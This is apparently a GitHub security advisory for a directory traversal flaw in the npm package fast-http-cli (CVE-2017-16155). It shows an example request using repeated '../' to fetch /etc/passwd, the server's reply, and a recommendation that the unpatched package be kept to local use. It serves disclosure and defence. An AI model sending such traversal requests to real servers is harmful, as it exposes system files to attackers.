GHSA-9frq-f867-hgqc

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GHSA-9frq-f867-hgqc

Summary: Directory Traversal in fast-http-cli

Details: `fast-http-cli` is the command line interface for `fast-http`, a simple web server. `fast-http-cli` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url. **Example request:** ```http GET /../../../../../../../../../../etc/passwd HTTP/1.1 host: localhost ``` and server Response: ```http HTTP/1.1 200 OK Date: Thu, 04 May 2017 23:59:18 GMT Connection: keep-alive Transfer-Encoding: chunked {contents of /etc/passwd} ``` ## Recommendation No patch is available for this vulnerability. It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

References: https://nvd.nist.gov/vuln/detail/CVE-2017-16155, https://github.com/JacksonGL/NPM-Vuln-PoC/tree/master/directory-traversal/fast-http-cli, https://github.com/advisories/GHSA-9frq-f867-hgqc, https://www.npmjs.com/advisories/383